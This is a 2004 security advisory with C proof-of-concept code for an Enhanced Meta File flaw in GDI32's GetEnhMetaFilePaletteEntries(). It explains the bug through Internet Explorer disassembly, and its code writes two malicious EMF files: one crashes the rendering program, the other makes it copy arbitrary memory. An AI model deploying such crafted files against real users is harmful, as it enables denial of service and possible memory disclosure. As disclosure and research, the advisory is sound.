/* ----------------------------------------------------------------------------- * Enhanced Meta File arbitrary memory access vulnerability * Revision 0.1, Yorick Koster, November 5th, 2004 * ----------------------------------------------------------------------------- * Summary: * --------- * An memory access flaw has been discovered in the * GetEnhMetaFilePaletteEntries() [1] function. This flaw can be used to crash * programs that call this function. Furthermore, it is also possible to copy * arbitrary parts of memory into a buffer that is passed to the * GetEnhMetaFilePaletteEntries() function (lppe). * * This function is called from within mshtml.dll and is used by Windows * Explorer and Internet Explorer. The buffer overflow can be trigger using the * view -> thumbnails option from the Explorer menu or it can be trigger using * the IMG tag in an HTML page. * * This issue has been tested on fully patched (October 2004) Windows 2000 SP4 * running Internet Explorer 6.0 SP1. * ----------------------------------------------------------------------------- * Details: * --------- * Whenever (Internet) Explorer has to render an EMF file, it loads the file * into memory. The EMF file is referenced by a handle. This handle is used to * in several MetaFile functions including GetEnhMetaFilePaletteEntries(). This * function is called from within mshtml.dll. The following dump, which has been * taken using OllyDbg attached to Internet Explorer running on Windows 2000 * SP4, shows how this function is called: * * 637CBCF8 . 8D43 60 LEA EAX,DWORD PTR DS:[EBX+60] * 637CBCFB . 50 PUSH EAX * 637CBCFC . BE 00010000 MOV ESI,100 * 637CBD01 . 56 PUSH ESI * 637CBD02 . FF75 60 PUSH DWORD PTR SS:[EBP+60] * 637CBD05 . FF15 54105863 CALL DWORD PTR DS:[<&GDI32.GetEnhMetaFilePaletteEntries>] * * First, the address of the buffer that is used to store the palette * information is loaded into EAX and pushed on the stack. This buffer is a * fixed size. Then 100h (256) is pushed on the stack, this value specifies * the maximum number of palette entries that can be stored in the buffer. * Finally, the handle to the EMF file, which was just loaded into memory is * pushed onto the stack and the GetEnhMetaFilePaletteEntries() function is * called. * * The GetEnhMetaFilePaletteEntries() funcion is located in GDI32.dll. This * function is located at address 77F68CC7h in Internet Explorer (Windows 2000). * The function first performs some basic verification on its parameters. * A pointer to the EMF fike is loaded into ECX using the following instruction: * * 77F68CF0 8B48 0C MOV ECX,DWORD PTR DS:[EAX+C] * * After this the nPalEntries (ECX + 44h) is compared with the maximum number of * palette entries that was supplied to the GetEnhMetaFilePaletteEntries() * function. If nPalEntries is greater than the maximum number of palette * entries (256), then this number is used when copying the palette entries into * the buffer. Thus the maximum number of palette entries is allways limited to * 256. This can be observed in the following piece of code: * * 77F68CF3 8B41 44 MOV EAX,DWORD PTR DS:[ECX+44] * 77F68CF6 394424 10 CMP DWORD PTR SS:[ESP+10],EAX * 77F68CFA 73 04 JNB SHORT GDI32.77F68D00 * 77F68CFC 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] * * The GetEnhMetaFilePaletteEntries() function then tries to determine the * location of the palette entries. First, the end of the EMF file is calculated * by adding the value of nBytes (ECX + 30h) to the EMF pointer (ECX): * * 77F68D00 8B51 30 MOV EDX,DWORD PTR DS:[ECX+30] * 77F68D03 03D1 ADD EDX,ECX * * The last 4 bytes of the EMF file (EDX - 4h) are then substracted from the end * of the EMF file (EDX). This value is used as the start of the palette entries. * The function tries to store the value from EDX + Ch in ESI. This address is * determined from the EMF file and can thus be set to any value. If EDX + Ch * points to an invalid address, an access violation will occur, crashing the * program that called GetEnhMetaFilePaletteEntries(): * * 77F68D07 2B52 FC SUB EDX,DWORD PTR DS:[EDX-4] * 77F68D0A 8B72 0C MOV ESI,DWORD PTR DS:[EDX+C] * * The function continues when ECX + Ch points to a valid address. The value at * this address is stored and the end of the EMF file (EDX) is added to ESI. * The address in ESI is used to copy upto 256 palette entries into the buffer * that was supplied to the GetEnhMetaFilePaletteEntries() function (EDI). By * carefully crafting and EMF file, it is possible to load any address into ESI * and cause the data located at this address to be copied into the supplied * buffer. * * 77F68D0D 03F2 ADD ESI,EDX * 77F68D0F F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] * * If an attacker can somehow manage to retrieve this data, for example when the * user saves the image and the palette entries are also stored in this image, * it may be possible to obtained sensitive information from the target's * memory. Note that the attacker als has to find a way to cause the data to be * send back to the attacker. This may be done automatically, or the attacker * has to use some sort of social engineering. This scenario has not yet been * researched and is therefore just a theoretical exploit scenario. * ----------------------------------------------------------------------------- * Proof of concept: * ------------------ * This code creates two EMF files. One EMF file triggers an access violation. * The other EMF file demonstrates how an attacker can access arbitrary memory * regions. This example cause the GetEnhMetaFilePaletteEntries() function to * copy parts of the EMF header in to the palette entries buffer (lppe). While * this isn't really a usefull example, it demonstrates how to set EDX & ESI to * arbitrary memory addresses (this can be seen using a debugger, set break on * address 77F68D0Fh). * ----------------------------------------------------------------------------- * Conclusion: * ------------ * Currently, it is only possible to trigger a denial of service condition. * However, there is a theoretical possibility, that an attacker may be able to * retrieve sensitive information from target users. * * Crashing client applications isn't really a threat. If someone is able to * crash Internet Explorer, this will only annoy users. Therefore, these users * will avoid web sites that crashes their browser. * ----------------------------------------------------------------------------- * References: * ------------ * [1] http://msdn.microsoft.com/library/en-us/gdi/metafile_19o3.asp * ----------------------------------------------------------------------------- */ #include #include #include #include #include int main(int argc, char *argv[]) { int fd; ENHMETAHEADER hEMF; DWORD i; DWORD data; // clear EMF header ZeroMemory(&hEMF, sizeof(ENHMETAHEADER)); // default values hEMF.iType = EMR_HEADER; hEMF.dSignature = ENHMETA_SIGNATURE; hEMF.nVersion = 0x10000; // any arbitrary value will do hEMF.nHandles = 0x1; // Note I am lazy, everything is stored in the EMF header /**** crash.emf, causes an access violation ****/ hEMF.nSize = sizeof(ENHMETAHEADER) + 4; hEMF.nBytes = hEMF.nSize; fd = open("crash.emf", O_CREAT | O_WRONLY | O_TRUNC); if(fd < 0) { printf("Couldn't create file crash.emf!\n"); return 1; } // write the header write(fd, &hEMF, sizeof(ENHMETAHEADER)); // trigger an access violation // SUB EDX,DWORD PTR DS:[EDX-4] data = 0x00FF0000; write(fd, &data, sizeof(DWORD)); close(fd); /**** end crash.emf ****/ /**** memcopy.emf, copy arbitray memory regions ****/ hEMF.nSize = sizeof(ENHMETAHEADER) + 1044; hEMF.nBytes = hEMF.nSize; // copy 256 palette entries (max) hEMF.nPalEntries = 256; fd = open("memcopy.emf", O_CREAT | O_WRONLY | O_TRUNC); if(fd < 0) { printf("Couldn't create file memcopy.emf!\n"); return 1; } // write the header write(fd, &hEMF, sizeof(ENHMETAHEADER)); // pad data = 0xDEADCAFE; write(fd, &data, sizeof(DWORD)); write(fd, &data, sizeof(DWORD)); write(fd, &data, sizeof(DWORD)); // * step 2 * set ESI // MOV ESI,DWORD PTR DS:[EDX+C] // ADD ESI,EDX data = 16; write(fd, &data, sizeof(DWORD)); // This data will get copied data = 0x44444444; for(i = 0; i < hEMF.nPalEntries; i++) { write(fd, &data, sizeof(DWORD)); } // * step 1 * set EDX // SUB EDX,DWORD PTR DS:[EDX-4] data = hEMF.nBytes - sizeof(ENHMETAHEADER); write(fd, &data, sizeof(DWORD)); close(fd); /**** end memcopy.emf ****/ return 0; }